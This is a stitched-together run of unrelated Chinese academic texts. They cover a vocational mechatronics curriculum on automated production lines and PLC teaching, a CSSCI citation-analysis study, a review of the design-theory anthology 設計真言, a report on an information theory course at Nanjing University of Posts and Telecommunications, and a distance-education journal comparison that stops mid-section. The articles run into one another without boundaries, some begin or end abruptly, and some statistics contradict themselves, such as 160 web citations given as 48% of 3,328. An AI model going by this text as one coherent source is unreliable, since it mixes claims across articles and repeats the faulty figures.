高職機電一體化專業課程設置的培養目標是:面向工業企業生產現場,電氣控制系統制造公司、機電設備制造公司、機電設備、電氣設備、工控設備制造公司或公司、科技開發公司,培養適應社會需要,全面發展,適應本專業相對應職業崗位的高等技術應用性專門人才,主要崗位群定位是自動化設備安裝員、自動化設備調試員、中高級維修電工等,本專業有五個主干學科:電氣工程、電子工程、機械工程、計算機科學與技術、控制科學與工程,都是為了崗位需要設置的專業知識。其中《自動化生產線安裝與調試》作為一門核心專業課在第四學期進行了貫穿和綜合。
1自動化生產線的課程設置
機電一體化專業人才培養能力有:識圖繪圖能力、機電安裝調試維修能力、電控系統調試檢修能力、自動線調試維護能力、機電設備管理能力及機電產品營銷能力等。《自動化生產線安裝與調試》前序課程有PLC技術、傳感器技術、電機與控制,后序課程有機床維修等。在我們所要實現的教學目標中知識目標涉及到:機械手工作原理、握機械手控制原理、機械手氣動原理、熟悉安全操作規程;能力目標有:對已安裝的機械手機械部件進行測量;對機械手的氣路進行基本調試;根據故障現象判斷故障部位;檢查分析、找到故障點并分析解決故障;遵守安全操作規程;素質目標有嚴謹的職業態度、規范的操作習慣、創新精神、團結協作精神、自主學習精神及溝通能力。
此核心課程以項目驅動教學開展課程教學,提升學生的職業能力,以具體自動化生產線為載體,融合認知、安裝、調試和檢測等內容,實現教、學、做、評一體化教學,突出課程的職業性、實踐性和開放性。以學生為主體,采取多樣化教學方法。以自動化設備改造為工作過程,涉及電路圖分析、電氣圖設計、程序設計、設備組裝、設備運行調試、設備檢測、設備維護等行動領域,設置六個學習情境:零配件拆裝、傳感器檢測、氣路檢測、異步電機檢測、步進電機檢測、整體檢測調試,分成20個任務。
項目一:供料站的安裝,有機械拆裝、氣路拆裝、電器拆裝三個任務;項目二:加工站的安裝,設計任務有加工站組裝、光電傳感器檢測、限位傳感器檢測三個任務;項目三:裝配站的安裝,設計任務有裝配站組裝、電磁閥檢測、氣缸檢測三個任務;項目四 :分揀站的安裝,設計任務有分揀站組裝、傳送帶的檢測、異步電機的檢測、變頻器的檢測四個任務;項目五:輸送站的安裝,設計任務有輸送站組裝、光纖傳感器檢測、機械手檢測、步進電機的檢測、溜板檢測四個任務;項目六:整體運行調試,有PLC控制網絡構建、程序編寫、綜合調試三個任務。
2自動化生產線的教學方法與評價設計
2.1教學方法。
(1)講授法:講解項目任務,傳授項目任務相關的知識點,針對學生實施過程中出現的不足進行知識點的說明。
(2)現場教學法:在符合生產要求的工作環境中進行操作技能和維修應用能力實踐,提高職業氛圍,在工作過程中提升學生的職業道德、職業素養和崗位適應能力。
(3)任務驅動法:將教學過程融入項目任務中,讓學生自主討論分析實施,學生在工作過程中得到知識。
(4)小組討論法:學生每六~八人為一個小組,小組討論分析,討論解決,分工協作完成項目任務。
六步教學實施:明確任務、討論分析、制定方案、檢測故障、檢驗效果、總結分析。老師交代目標,注意觀察和記錄小組對現象分析情況,解答學生提出的問題,對跟主題分析偏離太遠的小組予以引導,讓學生自行摸索,在后期對學生可能會引起事故或損壞設備和工具的異常操作給予糾正,最后老師組織小組進行故障排除工作匯報,互評,并對每組進行考核評價,再引導學生自行總結。
2.2評價設計。
課程采用過程考核與期終考核相結合、企業考核與校內項目考核相結合、教師考核與學生考核相結合的多元化考核方式,利于理論聯系實際,有利于學生的學習創新和思考,更督促他們到實際中去發現和改進,去尋找合適自己的項目和課題。
課程考核為:校內項目,企業,綜合實訓三大類。當堂課的考核有:教師考核、小組互評、小組自評;教師考核內容為五項:任務分析情況,實施方案制定,任務完成質量、分工協作精神、故障檢測手段、安全操作規范、小組總結。
和很多專業課一樣,多種教學方法和全面的評價方案,有效保證了教學效果。
3相關課教學
3.1電機與電氣控制的教學。
本課程以發電機為主題,以工作任務為導向,以工廠實用型電氣控制系統設計、安裝、調試與維護情景教學為主線貫穿全課程,用實物進行直觀性教學,使學生感性認識強,理性認識夠。
典型的教學任務有三相異步電動機全壓啟動、三相異步電動機長動控制、三相異步電動機正反轉控制、三相異步電動機延時啟動控制(或三相異步電動機Y-降壓啟動)、機械手控制等。
課程特色是學生充分利用所學知識、網絡資源、閑瑕時間作為期三個月的“繼電控制課程設計”。任務書要求能夠根據功能要求選擇個元器件的類型及其型號;了解個元器件的工作原理和使用方法;把各元器件連接起來實現本課程設計的要求。設計內容和要求:兩臺電動機都存在重載啟動的可能,任何一級傳送帶停止工作時,其他傳送帶都必須停止工作,控制線路有必要的保護環節,有故障報警裝置。課程設計書要有課題介紹、題目、摘要、總體方案設計、設計目的、控制要求、設計要求、 硬件選型、主電路原理圖的設計、 控制電路原理圖的設計、重載保護電路設計、欠壓保護電路設計、總結。
3.2PLC教學。
PLC是可編程序邏輯控制器(Programmable Logic Controller)的簡稱,早期是一種開關邏輯控制裝置,隨著計算機技術和通信技術的發展,其控制核心采用微處理器,功能有了極大擴展,除了最廣泛的取代傳統的繼電器-接觸器控制的開關量邏輯控制外,還有過程控制,數據處理,通信聯網與顯示打印,PLC接口采用光電隔離,實現了PLC的內部電路與外部電路的電氣隔離,減小了電磁干擾。
PLC有5種編程語言:
(1)順序功能圖(SFC)。
順序功能圖常用來編制順序控制類程序,包含步、動作、轉換三個要素。順序功能編程法是將一個復雜的控制過程分解為小的工作狀態,這些狀態按順序連接組合成整體的控制程序。
(2)梯形圖(LD)。
梯形圖沿襲了繼電器控制電路的形式,是在常用的繼電器、接觸器邏輯控制基礎上簡化了符號演變而來的,形象、直觀、實用,電氣技術人員容易接受,要求用帶CRT屏幕顯示的圖形編程器才能輸入圖形符號,是目前用得最多的一種PLC編程語言。
(3)功能塊圖(FBD)。
功能圖編程語言是用邏輯功能符號組成的功能塊來表達命令的圖形語言,與數字電路中的邏輯圖一樣,極易表現條件與結果之間的邏輯功能。
(4)指令表(IL)。
采用經濟便攜的編程器將程序輸入到可編程控制器就用指令表,使用的指令語句類似微機中的匯編語言。指令表程序較難閱讀,其中的邏輯關系很難一眼看出,所以在設計時一般使用梯形圖語言。如果使用手持式編程器,必須將梯形圖轉換成指令表后再寫入PLC,在用戶程序存儲器中,指令按步序號順序排列。
(5)結構文本(ST)是文字語言。
編程語言的學習是PLC教學的一項重要內容,中間加以不同的應用實例:順序控制電路、常閉觸點輸入信號的處理,使用多個定時器接力定時的時序控制電路、三相異步電動機正反轉控制電路、鉆床刀架運動控制系統的設計,LED數碼管顯示設計,還經常根據繼電器電路圖設計梯形圖。
增加的學習情境還常有如下任務:洗手間的沖水清洗控制、進庫物品的統計、競賽搶答器裝置設計、彩燈或噴泉PLC控制;尋找數組最大值并求和運算、電熱水爐溫度控制等。
3.3單片機。
單片微型計算機就是將CPU、RAM、ROM、定時/計數器和多種接口都集成到一塊集成電路芯片上的微型計算機。用于示波器、報警系統、移動電話、彩電等日常方面,在智能儀器儀表、工業控制、家用電器、計算機網絡和通信領域、醫用設備領域、工商,金融,科研、教育,國防航空航天等領域也都有廣泛應用。
數據大都在單片機內部傳送,運行速度快,抗干擾能力強,可靠性高,微型單片化集成了如看門狗、AD/DA等更多的其它資源。教學內容以80C51為核心講授單片機的的引腳、存儲器組織結構、典型語句,以實例應用為線索:單燈受控閃爍、P1口外接8只LED發光二極管模擬彩燈、單片機做加、減、乘、除運算等項目。各子任務都作硬件電路及工作原理分析、主程序流程圖設計、源程序的編輯、編譯、下載、單片機的I/O接口分配及連接。
教學采用ISP-4單片機實驗開發板,可以完成大量的單片機學習、開發實驗,對學習單片機有極大的幫助。該板采用在線可編程的AT89S51單片機,有程序下載功能,可將編輯、編譯、調試好的單片機代碼下載到AT89S51單片機中。
3.4變頻器技術及應用。
變頻技術讓學生熟練掌握各種電力電子器件的工作原理、主要參數、驅動電路與保護技術;掌握交-直-交變頻器、交-交變頻器、諧振型變頻的工作原理和應用范圍;掌握脈寬調制控制、矢量控制和直接轉矩控制等先進技術;了解變頻器與感應電動機組成變頻調速系統、變頻器與雙饋電機組成調速系統、變頻器與同步電動機組成變頻調速系統,掌握電力電子電機系統的組成、工作原理、控制方法、運行特性等,是強電應用和現代技術推廣的有力體現。
3.5傳感器與自動檢測技術。
傳感器技術代替人的感觀,在各種環境下應用,檢測技術是一套有效的反應體系,包括信息的獲得、測量方法、信號的變換、處理和顯示、誤差的分析以及干擾的抑制、可靠性問題等。因此掌握常用傳感器的工作原理、結構、性能,并能正確選用,了解傳感器的基本概念和自動檢測系統的組成,對常用檢測系統有相應的分析與維護能力。對工業生產過程中主要工藝參數的測量能提出合理的檢測方案,能正確選用傳感器及測量轉換電路組成實用檢測系統的初步能力。
教學過程進行小論文制作,讓學生提高計算機應用水平,使學生從文字處理水平提高到辦公處理水平。對分節、目錄、文獻標識作嚴格要求。題目如數字顯示電子稱、基于霍爾傳感器的轉速表、單片機電子秤研究、光纖測溫儀、煙霧報警器、小車尋跡設計、電熨斗自動恒溫系統、電渦流探傷、電感測厚儀等。
4畢業論文指導分析
畢業論文專業聯系實際,通常小型自動化系統以單片機為主,大型自動化生產線以PLC為主,系統運行動力離不開電機,觀察離不開傳感器,調速可用變頻器,綜合所學,學生的論文涉及廣泛,有效教學可對應從如下方面側重指導。
4.1立意選題。
根據實際和研究方向做好側重和體現,如“觸摸屏控制的堿液配置系統”和“兩種液體混合裝置的PLC控制系統”的系統性和方向性,“車庫自動門的PLC自動控制”和“測速雷達信號處理系統”的檢測指標要求等。
4.2材料整合。
在任務要求明確的基礎上,首先確定相關技術指標,對應查找并列出論文結構,一份畢業論文至少含有三到五門課的內容,對應于研究方向進行相應編排和取舍。
4.3技術處理。
所搜集圖片的背景往往有水印,要去掉,圖片按要求進行不同方向的剪切。圖表里的文字應是五號或小五,注意表格標題要單獨標出等等格式要求。流程圖、梯形圖的設計與表現。
多種教學方法和理論聯系實際教出具有學習能力和創新能力的學生,系統的學習與應用創造練就出具有競爭力的學生,專業課的有效教學和畢業論文的順利設計將顯示本專業沉甸甸的含金量。
參考文獻
[1]呂景全.《自動化生產線安裝與調試》,中國鐵道出版社,2010年7月
[2]馬玉春.《電機與電氣控制》,北京交通大學出版社,2011年1月
[3]李建新.《可編程控制器原理及應用》,機械工業出版社,2012年9月
[關鍵詞]CSSCI引文分析科學計量學可視化圖譜
[分類號]G306
1、導言
科學知識可視化圖譜是在信息技術的推動下發展出來的一個新領域,當前已經成為科學計量學的一個新熱點。陳悅和劉則淵認為科學知識圖譜是顯示科學知識的發展進程與結構關系的一種圖形,它是揭示科學知識及其活動規律的科學計量學從數學表達轉向圖形表達的產物,是顯示科學知識地理分布的知識地圖轉向以圖像展現知識結構關系與演進規律的結果。Katy Borner等綜述了知視可視化歷程,對引文分析領域進行了可視化研究。安偉峰、熊潤芝、周云平等、徐佳寧等、劉艷蘇等以及葉協杰眾多學者也利用不同的中文數據庫、不同的方法以及不同時期對我國的引文分析研究狀況進行了研究。雖然中外學者都從不同角度研究了引文分析領域,但是中文引文分析領域的可視化研究幾乎還沒有開展。本文擬對中文引文分析這個領域運用可視化工具來做一個清晰的描繪。
2、數據及方法
本論文研究所用的數據來源于CSSCI數據庫。筆者于2008年4月24日以“引文分析”為檢索詞在CSSCI中檢索到1998-2007年間527篇文獻,共得到3 328條引文。
下載這些檢索記錄,通過對數據進行仔細辨認和合并,利用大連理工大學劉盛博編的中文處理軟件對CSSCI數據進行格式轉換,變為Bibexcel、UcinetCitespace等軟件可處理格式,然后利用這些軟件對記錄中的關鍵詞、作者、來源期刊、被引作者、被引期刊等進行分析或繪圖。
3、統計結果與分析
3.1關鍵詞分析
527篇論文中,共有2133個關鍵詞,對出現3次以上的97個關鍵詞進行共現分析,利用Ucinet,計算中心性,再利用Netdrw繪制這些關鍵詞共現網絡,得到圖1。通過對關鍵詞的分析,可得出我國引文分析領域的主要研究內容。
從圖1可以看出,節點越大,表示中心性越高。中心性較高的一些詞有引文分析、SCI、CSSCI、文獻計量學、影響因子,期刊評價等。兩個節點之間的連線粗細代表關鍵詞共同出現的次數,連線越粗,就是共同出現的次數越多。與引文分析共同出現次數較多的詞有文獻計量學、期刊評價、載文分析、作者分析等。
3.2作者分析
在527篇論文中,共有682名作者,表1是發表4篇以上的作者及其工作單位。
從表l可以看出,引文分析領域發文4篇以上的作者有29人,其中24人是與圖書情報信息有關的,1人與醫學有關。南京大學有9人,中國科學技術信息研究所4人,中國科學院文獻情報中心有2人,北京大學有2人,浙江大學科技部2人,其余各1人。
3.3來源期刊分析
527篇論文分布在106種雜志中,發表在前20種雜志中的論文數為390,占總論文的74.7%,也就是說20%左右的雜志中包括了大約80%的有關引文分析的論文,基本符合“二八”律,可以認為這些雜志是發表引文分析論文的核心期刊。可以看到前20種期刊大都是圖書館學、情報學的核心期刊。表2顯示出引文分析領域的文章除了多數發表在圖書情報類的雜志上外,還有很多發表在與科學學、科技管理有關的核心期刊上。
3.4被引作者分析 對527篇論文的3 328條引文進行分析,發現有1280位作者被引證,平均每位作者被引頻次2.6次。在這龐大的作者群中,被引頻次最高的30位作者的總被引頻次為731次,占總被引頻次的21.97%,平均每位高被引頻次作者被引頻次24.37次。利用Citespaee軟件繪圖,得到圖2,顯示了我國引文分析領域的高頻被引作者情況,圖3顯示了引文分析領域的重要文獻。
從圖2和圖3中可以看出,較大節點的作者是在引文分析領域有突出作用的作者。影響最大的是武漢大學中國科學評價研究中心的邱均平,其主要代表作是1988年出版的《文獻計量學》一書。王崇德、羅式勝、丁學東三人也出版了有關文獻計量學的專著。龐景安《科學計量研究方法論》一書,詳細介紹了引文分析在科學計量學中的應用。梁立明、蔣國華也出版了有關科學計量學的專著。有些集體作者,如中國科學技術信息所、中國社會科學索引課題組、中國科技論文統計與分析課題組、南京大學中國社會科學研究評價中心,這些課題組對我國的引文分析研究也有極大的影響和促進。金碧輝、武夷山、孟連生、朱獻有、馬費成等人也有突出的貢獻,他們的單篇論文的被引頻次也很高。姜春林、鄒志仁、程剛、袁培國、鐘旭、黨亞茹、崔雷的研究也各有特色。
3.5被引期刊分析 3 328條引文分別來自918種雜志和其他類型文獻,包括專著、報告、網頁等。但是被引前20種雜志中的引文有1 346條,占總引文的40.4%,表3顯示被引前20種期刊大多都是圖書館、情報學的核心期刊。《科學學研究》、《科學學與科技管理》等雜志的被引用說明科學學也對引文分析有較大的影響。有380條外文引文,占總引文的11.4%;有160條網頁引文,占總引文的48%,其中680條引文都只被引一次,以上說明引文分析對別的學科的知識吸收還是相對較少,吸收較多的還是圖書情報學、科學學、科學計量學、管理學、編輯學的知識。
4、我國引文分析存在問題及對策
4.1 中國引文分析存在問題
4.1.1 引文分析研究缺乏核心作者 引文分析在我國的研究歷史只有30多年,還沒有引文分析的核心作者,雖然有許多專家學者,也有很高的被引頻次,但是他們都是圖書情報領域的先賢,而引文分析則是依附于文獻計量學存在的,大部分的著作都與文獻計量學和科學計量學研究相關。因此,表現出引文分析理論研究少,應用研究多,方法簡單;方法研究上簡單統計多,指標模型少;應用研究用于評價的多,管理的少;研究圖情、醫藥領域較多,其他領域少。
4.1.2數據樣本的選擇缺乏科學性引文分析是力圖根據統計特征找出文獻生產、傳播等規律,從而進行更深入的研究,為決策提供量化依據。統計特征的出現要求有足夠的樣本量,足夠明確的研究對象,足夠大的時間跨度。而國內正式發表的有關引文分析的論文普遍存在著樣本量小、時間跨度短、學科代表性差等問題。
4.1.3 中文引文分析可視化困難我國的引文分析可視化的進展不大,雖然近年來掀起了引文分析可視化的熱潮,但是大多是對來自Web of Science數據的可視化,而以中文出現的知識圖譜則不是太多。
4.1.4 中文的引文數據局限性 中文引文數據庫有一定的局限性,如CSSCI中的數據從格式到錄入出現了很多不統一及錯誤,如有的引文寫錯著者姓名、發表年份、出版社等等。在本研究中對這些現象作粗略的統計,其中年份寫錯或不寫的占總引文的3.1%,不寫出版社或期刊的占6.2%,不計算其他格式不統一,引文的錯誤總計在數據庫中幾乎達到10%。這樣就給研究的統計工作帶來很大的困難。
4.2 中國引文分析現狀成因
4.2.1 理論基礎薄弱首先,引文分析起初是當作文獻計量學的一種方法被引入的,由于其使用起來簡單易行,大多數學者只是把其當作一種工具來使用,究竟其包括什么樣的原理,其使用的前提條件、使用原則、形成機制,并沒有人去深入地探究;其次,引文分析理論在國外也進展不大,到目前為止,大多數的引文分析還是以傳統的文獻數理統計和共引理論為基礎進行研究,沒有更進一步突破;第三,我國的研究者重視應用研究、忽略理論研究。
4.2.2 中文引文數據庫不完善為了更好地發展我國的圖書館事業和文獻研究工作,我國科研人員不斷努力,開發了許多相關的引文數據庫,如CSCD,CST―PC,CSSCI等。這些數據庫與SCI數據庫相比,不論是在數據套錄功能還是數據收錄年代或期刊收錄范圍上都有所欠缺。為了進行引文分析,用戶不得不把需要的文獻記錄和它們引用的參考文獻題錄一一手工摘取,再導入自建的小型引文庫中通過編制計算機程序才能獲得需要的統計數字。這無疑極大地阻礙了研究人員利用國內引文數據進行分析的積極性。
4.2.3 沒有適合的分析軟件 由于我國引文分析發展的較晚,一些引文分析的技術都是來自于國外。國外有很多專家學者利用計算機編程,開發了許多文獻計量學軟件,進行引文分析。例如:Bibexcel就是OllePersson為文獻計量學專門編制普遍適用的、統一格式的數據處理軟件,可以處理來自Web of Science等數據庫的數據,不但能夠進行統計處理,還可以分析數據,形成所需要的關系矩陣。而我國文獻計量學、科學計量學的學者目前還沒有開發出普遍適用中文數據格式的軟件,對于一些不懂數學、計算機編程的學者,要靠最原始的手工來進行計數,所以他們花費在數據處理上的功夫可想而知。
4.2.4不規范的引文行為 目前我國的科技論文在引文規范上普遍存在著一些問題,主要表現在以下三方面:“用而不引”和“不用而引”;對參考文獻的標注不規范;“引文復制”與“引而不注”;著錄失誤。此外,一些由于情報交流的障礙,如語言障礙、編譯代碼轉換的障礙、檢索工具的障礙、理解水平與能力的障礙等等,都是造成引文錯誤的直接客觀的原因。
4.3 中國引文分析的對策建議
4.3.1 加強引文分析的理論建設首先,大力開展引文分析的理論研究,對引文分析的原理、規律、研究對象以及與引文分析相關的概念假設、環境、適用范圍進行深入和系統的討論,力圖形成引文分析的研究范式;其次,加強和國外同行的合作交流,力圖自主創新,發展適合我國學者的引文分析方法和理論;再次,引文分析有很強的交叉學科的特點,交叉學科的特點就是容易吸取其他學科的先進理論,要想在理論上有所突破,可以借鑒其他學科的理論方法;第四,提倡研究者進行理論研究,改變研究作風;第五,提高研究者和使用者綜合素質,使他們能夠敏銳地發現引文分析的問題,合理利用引文分析進行科研評價,提高科研活動的效率。
4.3.2完善發展各種引文數據庫首先,優化數據庫結構,加強數據規范管理工作,改善數據庫檢索性能;其次,借鑒美國ISI的Web of Knowledge(WoK)的經驗,對我國各類引文數據庫進行重組、加強和完善;可以把CSCD和CSTPC整合起來,成為中國的“SCI”,把CSSCI建成中國的“SSCI”,把各種引文數據庫的資源集成為強大的引文網絡平臺;再次,及時和數據庫用戶溝通和交流,獲得有益的反饋信息。
由于科研與教學的需要,外國設計史論文獻的編譯一直是國內設計史學家所重視的一個領域,如奚傳績的《設計藝術經典論著選讀》、李硯祖的《外國設計藝術經典論著選讀》、董占軍的《外國設計藝術文獻選編》,都是該領域內較早的研究成果。而《設計真言》更是在此基礎上前進了一大步。首先,它在篇幅上達到了一定的規模:《設計真言》一書收錄了1852-2005年間西方現代設計思想文獻130篇,對19世紀下半葉以來西方最重要的設計家的思想幾乎都有所體現,文獻論述的領域覆蓋工業設計、平面設計、展示設計、建筑設計、城市設計以及新媒體設計等學科,內容則包括設計原理、設計批評、設計管理、設計與審美、設計與文化、設計與公共決策等。這130篇經過精心選擇的文章,基本可以形成對近150年以來西方現代設計發展歷程的全方位考察,這種工作實在是功德無量的:既可以讓國內讀者明晰西方設計思想的由來及其發展脈絡,讓今天的設計師們直接與歷史上的設計大師展開心靈的對話:同時也可以引發對中國設計現狀的反思,加深對設計本質的理解,并對整個20世紀人文社會科學學術視野中設計學術思想的存在狀態有所體驗。
另外,從文獻的選擇上,也更傾向于對新知識、新方法的介紹,尤其是那些20世紀下半葉在設計管理、非物質設計、可持續設計、通用設計、服務設計等領域的文獻,更加適合了國內學科發展的需要,如英國彼特?戈伯的《設計的未來及其管理》、維克多?馬格林的《為可持續世界的設計》等,對于目前國內設計學研究的前沿領域都具有非同尋常的意義。書中的很多文獻都屬于在國內首次譯介,這更是促進了國內相關領域研究發展的可能性。
然而不能不提的是,這本書的內容更勝于其形式。近些年來,在《設計中的設計》等一系列書籍的出版及暢銷的帶動下,有關設計思想的書籍設計刮起了一股“白皮風”,似乎沒有白皮,便不可反映其理論性,便不可如《設計中的設計》一樣暢銷。看來這本書也難于免俗:白色的封面上僅用透明的亮膜印出書名和相關內容,辨識度實在太差,如果沒有了腰封,那此書的封面印在雜志上幾乎就是白紙一張。且翻閱不到一周后,封皮便已折痕累累,實在對不起“真言”這樣的名字。說到書名,這個“設計真言”也起得過于嘩眾取寵,令人哭笑不得。內文紙張過薄,雖然可以理解這一千多頁的書不能選擇太厚的紙張,但總應該以不影響翻閱為度。這也許不是編者們的初衷。眾所周知,在國內,學術書籍的出版只要能夠促成就已經很不錯了,更沒有在形式上討價還價的余地。但這樣一本內容的書套上這樣的形式,實在是對國內設計現狀的極大諷刺。
信息技術發展和應用所推動的信息化,給人類經濟與社會生活帶來了深刻的影響。進入二十一世紀以來,信息化對經濟社會發展的影響愈加深刻。鑒于此,全世界眾多高等學校都為信息與計算科學專業的本科生開設了“信息論基礎”這門課。
為適應信息化社會的這種需求,南京郵電大學很早就開展了“信息論基礎”的本科教學工作,具有悠久的歷史。這里主要對自身所講授的“信息論基礎”課程的本科教學實踐進行總結和討論。在引言之后,本文將依次討論教學組織活動及改革、課程結構與提綱、一個教學結果舉例和結論與可能的改進等4個部分。
1 教學組織活動及改革
在“信息論基礎”專業課程中,我們選擇了曹雪虹老師主編的教材《信息論與編碼》一書[1],參考書包括傅祖蕓所著的《信息論-基礎理論與應用》[2]以及周炯磐所著的《信息理論基礎》[3]。為促進學生領會信息論開創者香農最初的一些創新性概念,本人在教學意將香農的經典論文“A Mathematical Theory of Communication”列為重要參考文獻[4]。
該門課程的教學基本要求為:通過學習,使學生了解信息處理、存貯和傳輸所依賴的基本規律,及其在通信技術中的具體應用。本課程重在介紹基本概念,給出主要結論,而不涉及煩雜的數學推導和證明。
由于課程整體只有32個學時,相對于信息論基礎的豐富內容來說,應該說時間肯定是不夠的。為此,如何精選部分章節又不影響本科專業課的整體性是一個需要仔細考慮的問題。通信與信息工程學院在學校有關部門的導向下考慮在此類課程教學中引入教學活動的短學程化的理念[5], 以實現教學組織活動的改革。具體執行而言,課程的教學安排主要集中于信息論相關基本概念的講授與理解。
為解決學生理解信息的度量――信息熵的困難,本人在課程的第一講中采用了香農最早在經典論文中給出的公理化體系,解決了信息論入門難的問題。在第四章有關信息率失真函數的講授中,一般需要引入假想信道,但學生很難理解假想信道模型。為解決該困難,本人引入了“隨機矢量量化”概念來解釋假想信道,取得了很好的教學效果。
2 課程結構與提綱
2.1 課程結構
該課程每年春季開課,含有16講,每講2課時,其中含有3課時的課堂習題課。此外,作業為四次和一次半學期的考試。為了鞏固多媒體教學中學習的知識點,近20題的課后作業量是必要的,它要求學生自學和理解所學教材。
2.2 課程提綱
主要提綱與相應知識點簡述如下:
2.2.1 緒論
涉及教科書的第一章內容,介紹了信息論的形成和發展及所要研究的基本問題。
2.2.2 信源與信息熵
涉及第二章內容。知識點主要為自信息量、條件自信息量、單符號熵、互信息量、條件互信息量、平均互信息量、馬爾可夫信源熵。要求掌握信息的量度的計算。
2.2.3 信道與信道容量
涉及第三章內容。知識點主要為信道模型、信道容量及其計算方法,要求掌握對稱及準對稱DMC信道、限時限頻限功率加性高斯白噪聲信道容量的計算。
2.2.4 信息率失真函數
涉及第四章內容。知識點主要為失真函數、平均失真、信息率失真函數、信息率失真函數的性質,要求掌握率失真函數的定義和性質。
2.2.5 信源編碼
涉及第五章內容。知識點主要為信源編碼的定義、基本原理和基本定理,要求掌握最佳變長編碼的方法。
2.2.6 信道編碼
涉及第六章內容。知識點主要為糾錯編譯碼的基本原理、線性分組碼的生成矩陣和校驗矩陣、伴隨式、碼距、糾錯能力,要求掌握線性分組碼編碼過程。
2.2.7 加密編碼
涉及第七章內容。知識點主要為加密編碼中的基本概念、加密編碼中的熵概念、換位和替代密碼、DES密碼算法、公開密鑰密碼體制、RSA密碼體制等。
3 一個教學結果舉例
圖1 一個教學班的學生成績分析
每年南京郵電大學“通信工程”專業3~4個班近200名本科生修習該課程,我們考慮以閉卷方式來檢查和評價教與學,考試的內容與習題中的問題有比較大的相似,以取得合適教學效果。這里僅僅以一個教學班的考試成績為例,其他班級與該例有一定相似。圖1顯示了所研究的一個教學班的學生成績分析。該班平均分79.2,學生成績可以用一個對數曲線來擬合,即中間分數的人數比較多,它與我們原來預訂的學生考試評價范圍比較吻合。這在一定程度上說明我們的教學方案還是可行的。
一、研究目的
學術雜志的文章往往反映著此學術領域的研究現狀,在開放與遠程教育領域亦是如此,從以下幾份著名的開放與遠程教育雜志的宗旨可以證明這一點。由中央廣播電視大學主辦的《中國電大教育》雜志,首要宗旨就是廣泛深入地展示遠程教育理論、教學研究的新成果,全面迅速地反映全國各級電大教育改革的新思路、新舉措、新經驗,探討新問題。由上海電視大學主辦的《開放教育研究》,其主要目的是為各級各類開放與遠程教育系統的理論研究人員、實際工作者和廣大師生提供一個學術交流園地,為展示我國開放與遠程教育的成就和發展動態提供一個窗口,推動開放與遠程教育在國內與國際的交流和協作,促進我國開放教育和遠程教育的改革和發展。由美國賓夕法尼亞大學遠程教育研究中心主辦的《美國遠程教育》的目的有二:一是遠程教育的研究和實踐的信息,二是為遠程教育的研究者和實踐者提供一個討論和爭鳴的場地。
隨著我國開放與遠程教育的研究在國際上聲譽的提高,隨著我國公開發行的開放與遠程教育雜志不斷受到國內外專家的肯定,如何使我國的開放與遠程教育的研究水平“更上一層樓”,這是我們目前需要考慮的重要問題。
本文的目的是通過對我國和英國、美國5份著名的開放與遠程教育的學術雜志中的論文進行分析比較,包括論文的格式、研究方法、數據處理、研究主題、論文撰寫等方面,進而探討如何提高我國的教育研究水平,以及我國目前在開放與遠程教育中亟待加強的研究課題。
二、樣本
本研究選擇1997和1998年我國公開出版的3份開放與遠程教育雜志論文為樣本,即由中央電大主辦的《中國電大教育》(月刊)、上海電大主辦的《開放教育研究》(雙月刊)和黑龍江電大主辦的《現代遠距離教育》(季刊);選擇了2份英國和美國最著名的開放與遠程教育雜志:即由英國開放大學主辦的《開放學習》(每年三期)和美國賓夕法尼亞大學主辦的《美國遠程教育》(每年三期),論文樣本選自于我校至今收到的1997年的三期和1998年的兩期的《開放學習》,以及1997年的三期的《美國遠程教育》。
為了保證所選樣本標準的一致性,各期刊的文章中只選論文,其它如評論、介紹(翻譯、編譯、見聞)、隨筆、文摘、書評等皆除外。詳見表一。
表一:數據來源和選擇期刊名稱年份期刊總數論文(篇)中國電大教育97~9823322開放教育研究97~9812140現代遠距離教育97~987161開放學習97~98544美國遠程教育97316合計50683
三、研究結果
由于研究結果的數據繁多,為了清楚地表明我國和英美雜志上論文的異同,下面把我國的3份雜志列為“中國雜志”一組,把英美的2份雜志列為“英美雜志”一組,從而進行比較。
1.論文數量的比較
研究發現,我國雜志每期發表的文章數量幾乎是英美雜志的一倍。也就是說,我國每篇文章平均所占篇幅大大地小于英美文章,詳見表二。
表二:雜志的論文數量比較
期刊期刊總數論文(篇)平均每期論文中國雜志4262315英美雜志8607.5
這一結果可能同文章的體系有關。
首先,從文章的參考文獻來分析,在我國雜志的623篇文章中,只有42篇有參考文獻,占6%,而英美雜志的文章都有參考文獻,占100%。
表三表明,我國雜志的文章的參考文獻(份數)也比英美雜志要少得多。例如,我國有參考文獻的文章中,60%的文章只有1到4份參考文獻,而英美有9份以上參考文獻的論文占60%,其中45%的論文的參考文獻在20份以上。
表三:文章參考文獻的平均數比較參考數量中國雜志英美雜志
1~225%0%
3~437.5%5%
5~610%10%
7~88%25%
9~100%10%
11~2017.5%5%
20~712.5%45%
其次,我國雜志的論文很少有摘要,而英美雜志的文章一般都有摘要。
第三,我國雜志的文章很少有研究方法一節,而英美雜志的研究文章大都有專門一節詳細描述研究方法。
第四,我國雜志的文章很少有圖表,而英美雜志的文章多有詳細的圖表。
以上原因導致了我國雜志的論文篇幅比英美雜志的文章短得多,而從研究的角度來講,研究論文的科學性就降低了。
2.研究方法的比較
本文把研究方法分為九類,一為描述加討論(它主要是采用描述的方法,分析他人的觀點,而后發表自己的看法,或者僅僅提出自己的建議。從嚴格意義上講,它并沒有采用任何具體的研究方法),二是經驗總結,三是系統論,四是歷史法,五是問卷法,六是訪談法,七是觀察法,八是實地考察(這主要指我國的一些研究者通過對國內或國外有關單位的實地考察,結合自己的感想所寫的文章),九是實驗法。除一、八之外,每一種方法都有其一整套的基本的原理、設計、過程和資料分析技術。表四表明我國與英美雜志采用不同研究方法的論文數量的百分比。
表四:論文采用的研究方法比較
研究方法中國雜志英美雜志1.描述加討論75.8%23.3%2.經驗總結11.4%21.7%3.系統論0.3%0%4.歷史法0.2%0%5.問卷法1.1%18.3%6.訪談法0.2%6.7%7.觀察法0%11.7%8.實地考察10.4%0%9.實驗法0%0%10.問卷+訪談0.2%8.3%11.問卷+觀察0.48%10%
從表四可以看出,我國雜志中的文章大部分是采用描述加評論的方法,而英美雜志中這類文章只占23.3%。我國雜志只有1.98%的文章采用調查法,即方法5、6、7、10和11,而英美雜志中有55%的文章使用調查法。在調查法中,我國雜志中只有0.68%的文章采用多種的調查方式,即方法10和11,而英美雜志中有18.3%的文章使用這種調查方法。遺憾的是,在所有的中外論文中,我們卻沒有發現采用實驗法的研究文章。
在采用定性和定量研究方面,表五表明:英美雜志中采用定量研究的論文大大高于中國雜志。另外,英美雜志中有15.2%的論文采用數據統計和分析的手段(表五中的2、3、4、5),而中國雜志中有0.18%的論文使用這種數據分析技術。
